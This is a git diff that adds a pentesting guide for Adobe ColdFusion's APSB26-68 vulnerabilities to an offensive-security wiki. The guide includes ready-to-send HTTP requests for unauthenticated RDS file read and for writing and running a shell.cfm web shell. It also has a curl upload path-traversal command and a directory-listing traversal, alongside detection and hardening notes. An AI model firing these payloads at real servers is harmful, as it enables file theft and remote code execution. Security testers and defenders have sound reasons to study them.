diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 91c0f338a63..8ee6c7dfee8 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -525,6 +525,7 @@ - [80,443 - Pentesting Web Methodology](network-services-pentesting/pentesting-web/README.md) - [403 & 401 Bypasses](network-services-pentesting/pentesting-web/403-and-401-bypasses.md) - [AEM - Adobe Experience Cloud](network-services-pentesting/pentesting-web/aem-adobe-experience-cloud.md) + - [Adobe ColdFusion](network-services-pentesting/pentesting-web/adobe-coldfusion.md) - [Angular](network-services-pentesting/pentesting-web/angular.md) - [Apache](network-services-pentesting/pentesting-web/apache.md) - [Artifactory Hacking guide](network-services-pentesting/pentesting-web/artifactory-hacking-guide.md) diff --git a/src/network-services-pentesting/pentesting-web/README.md b/src/network-services-pentesting/pentesting-web/README.md index f1717cc67a8..1ad82b21ad7 100644 --- a/src/network-services-pentesting/pentesting-web/README.md +++ b/src/network-services-pentesting/pentesting-web/README.md @@ -71,6 +71,7 @@ Search **for** [**vulnerabilities of the web application** **version**](../../ge Some **tricks** for **finding vulnerabilities** in different well known **technologies** being used: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) +- [**Adobe ColdFusion**](adobe-coldfusion.md) - [**Apache**](apache.md) - [**HAProxy / reverse-proxy backdooring (post-compromise)**](../../linux-hardening/post-exploitation/linux-post-exploitation/trojanized-system-daemons-and-reverse-proxies.md) - [**Artifactory**](artifactory-hacking-guide.md) diff --git a/src/network-services-pentesting/pentesting-web/adobe-coldfusion.md b/src/network-services-pentesting/pentesting-web/adobe-coldfusion.md new file mode 100644 index 00000000000..6cbc0ce2739 --- /dev/null +++ b/src/network-services-pentesting/pentesting-web/adobe-coldfusion.md @@ -0,0 +1,99 @@ +# Adobe ColdFusion Pentesting + +{{#include ../../banners/hacktricks-training.md}} + +## Basic information + +Adobe ColdFusion is a Java-based application server that executes ColdFusion Markup Language (CFML). Useful fingerprinting targets include `.cfm`/`.cfc` resources, `/CFIDE/`, and `/cf_scripts/`.[[2]](#references) + +Adobe lists ColdFusion 2025 Update 9 and earlier and ColdFusion 2023 Update 20 and earlier as affected by APSB26-68; the fixed releases are Update 10 and Update 21 respectively. The bulletin also reports limited in-the-wild exploitation of CVE-2026-48282.[[1]](#references) + +> [!WARNING] +> The researchers derived the following primitives by patch-diffing. Their mapping of each primitive to a particular APSB26-68 CVE is tentative, so test the behavior rather than relying on the proposed CVE label.[[2]](#references) + +## Remote Development Services (RDS) filesystem RPC + +RDS lets development tools access ColdFusion over HTTP. It is disabled by default; the demonstrated unauthenticated attacks require RDS to be enabled and, in the researchers' test configuration, RDS authentication/security to be disabled. Requests are `POST`ed to `/CFIDE/main/ide.cfm`, where the `ACTION` parameter selects a servlet; `ACTION=FILEIO` reaches filesystem operations.[[2]](#references) + +The RDS request body starts with a field count followed by a colon. Each field is encoded as a four-byte pad, its decimal **byte** length, a colon, and exactly that many raw bytes. Build lengths after encoding the payload, because a wrong value shifts parsing of every subsequent field.[[2]](#references) + +```text +:0000:0000:... +``` + +`FILEIO` exposes `READ`, `WRITE`, `RENAME`, `REMOVE`, `EXISTENCE`, `CREATE`, and `CF_DIRECTORY`. In vulnerable builds, attacker-controlled names reached Java `File` objects without the path checks added by the patch, so the same weakness provided read, write, move, delete, directory-create, and directory-list primitives.[[2]](#references) + +### Arbitrary file read + +For an insecure RDS deployment, the following packet selects an absolute Windows path and the `READ` operator. The response is also length-prefixed and contains the file data readable by the ColdFusion service identity.[[2]](#references) + +```http +POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1 +Host: TARGET:8500 +Content-Type: application/octet-stream + +2:000018:C:\Windows\win.ini00004:READ +``` + +Prioritize ColdFusion configuration, deployed CFML source, datasource credentials, application secrets, private keys, and service-account-accessible operating-system files.[[2]](#references) + +### Arbitrary write to CFML execution + +A `WRITE` request takes a destination path and content. If the destination is a served ColdFusion document root, write a `.cfm` payload and request it to execute CFML as the ColdFusion service account. This is the ColdFusion-specific conversion of an arbitrary-write primitive into RCE.[[2]](#references) + +```http +POST /CFIDE/main/ide.cfm?ACTION=FILEIO HTTP/1.1 +Host: TARGET:8500 +Content-Type: application/octet-stream + +4:000043:C:\ColdFusion2025\cfusion\wwwroot\shell.cfm00005:WRITE00001:000097:#o# +``` + +Trigger the written template:[[2]](#references) + +```http +GET /shell.cfm HTTP/1.1 +Host: TARGET:8500 +``` + +Do not limit validation to read/write: exercise the other operators with harmless assessment paths because rename, delete, create, and directory enumeration used the same unsafe path-resolution pattern.[[2]](#references) + +## CKEditor file-manager destination traversal + +ColdFusion's bundled CKEditor file manager has upload, directory creation, and directory navigation disabled by default. If an administrator enables uploads, the tested upload endpoint is reachable without authentication and accepts a client-controlled multipart `path`. Parent-directory components can escape the configured file-manager root and place the uploaded file elsewhere.[[2]](#references) + +```bash +curl -sk 'https://TARGET/cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm' \ + -F 'path=home/../../../../../../../../ColdFusion2025/cfusion/wwwroot/' \ + -F 'file=@poc.war;type=application/octet-stream' +``` + +Use an inert marker during validation. Impact depends on the destination and handler: a web-served CFML file or an auto-deployed archive can turn placement into code execution, while writes to application or configuration paths can enable persistence or destructive modification. The patch also added `jspf`, `cfmail`, and `war` to the prohibited-extension list, illustrating why a denylist alone is insufficient.[[2]](#references) + +### Directory-listing traversal + +When directory navigation is enabled, `getfmfiles` accepts the same kind of attacker-controlled path. Repeated parent segments can enumerate directories outside the file-manager root and reveal installation paths, applications, backups, configuration directories, or destinations for the upload primitive.[[2]](#references) + +```http +GET /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/filemanager.cfc?method=getfmfiles&path=../../../../../../../../ColdFusion2025/ HTTP/1.1 +Host: TARGET:8500 +``` + +## Validation and detection notes + +For a safe implementation, reject empty paths and NUL bytes, normalize both separator styles, canonicalize the **complete** destination, and verify containment beneath a canonical allowlisted root. Canonicalization alone does not establish authorization; the `RdsFileSecurity.resolveCanonical()` method shown in the patch diff rejects explicit `..` segments and returns `getCanonicalFile()`, but does not itself show an allowed-root comparison. Uploads should additionally use an extension allowlist.[[2]](#references) + +High-signal telemetry includes:[[2]](#references) + +- Requests to `/CFIDE/main/ide.cfm?ACTION=FILEIO`, especially `application/octet-stream` bodies containing `READ`, `WRITE`, `RENAME`, or `REMOVE`. +- Repeated `../` or `..\` sequences in CKEditor `path` values sent to `upload.cfm` or `filemanager.cfc?method=getfmfiles`. +- Unexpected `.cfm`, `.war`, `.jspf`, or `.cfmail` files under web/deployment directories, particularly files created by the ColdFusion service or `SYSTEM` account. + +Apply the fixed update, leave RDS and the CKEditor file-manager write/navigation features disabled unless required, enforce RDS authentication, and restrict network access to `/CFIDE/` and `/cf_scripts/` administrative/development surfaces.[[1]](#references)[[2]](#references) + +## References + +- [1] [Adobe Security Bulletin APSB26-68 - Security updates available for Adobe ColdFusion](https://helpx.adobe.com/security/products/coldfusion/apsb26-68.html) +- [2] [watchTowr Labs - It Is 37°C, and All We Can Think About Is ColdFusion](https://labs.watchtowr.com/its-37oc-and-all-we-can-think-about-is-coldfusion-adobe-coldfusion-security-bulletin-apsb26-68-cve-bonanza) + +{{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index d01845da851..0275d2cb8bd 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -2,6 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} +{{#ref}} +../../network-services-pentesting/pentesting-web/adobe-coldfusion.md +{{#endref}} + {{#ref}} ../../generic-methodologies-and-resources/pentesting-network/dds-rtps-security.md {{#endref}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index c4a90f1ad46..8400b71b5f2 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -2,6 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} +{{#ref}} +../../network-services-pentesting/pentesting-web/adobe-coldfusion.md +{{#endref}} + ## File Upload General Methodology Other useful extensions: